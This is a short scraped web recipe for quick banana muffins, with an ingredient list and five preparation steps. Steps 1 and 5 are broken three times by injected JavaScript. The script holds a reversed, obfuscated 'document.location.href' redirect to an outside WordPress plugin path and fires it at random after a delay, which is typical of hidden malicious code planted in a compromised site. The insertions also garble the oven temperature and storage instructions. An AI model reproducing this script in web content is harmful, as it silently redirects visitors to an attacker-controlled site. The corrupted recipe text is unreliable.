Quick and Easy Banana Muffins

Kitchen -

Ingredients

  • ⅓ cupcoconut oil, melted
  • ¼ cup maple syrup
  • 2 eggs
  • ¼ cup milk
  • 1 teaspoon vanilla extract
  • 3 ripe bananas, mashed
  • 2 cups whole wheat flour
  • 1 teaspoon cinnamon
  • ½ teaspoon salt
  • 1 teaspoon baking soda

Preparation

  1. Preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 325°F/160°C.
  2. In a bowl, whisk the coconut oil and maple syrup until combined.
  3. Add the eggs, milk, and vanilla extract, and whisk until combined.
  4. Fold in the bananas, cinnamon, baking soda, salt, and flour.
  5. Bake 20-25 minutes. Cover and stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2 days.

Source: tasty.co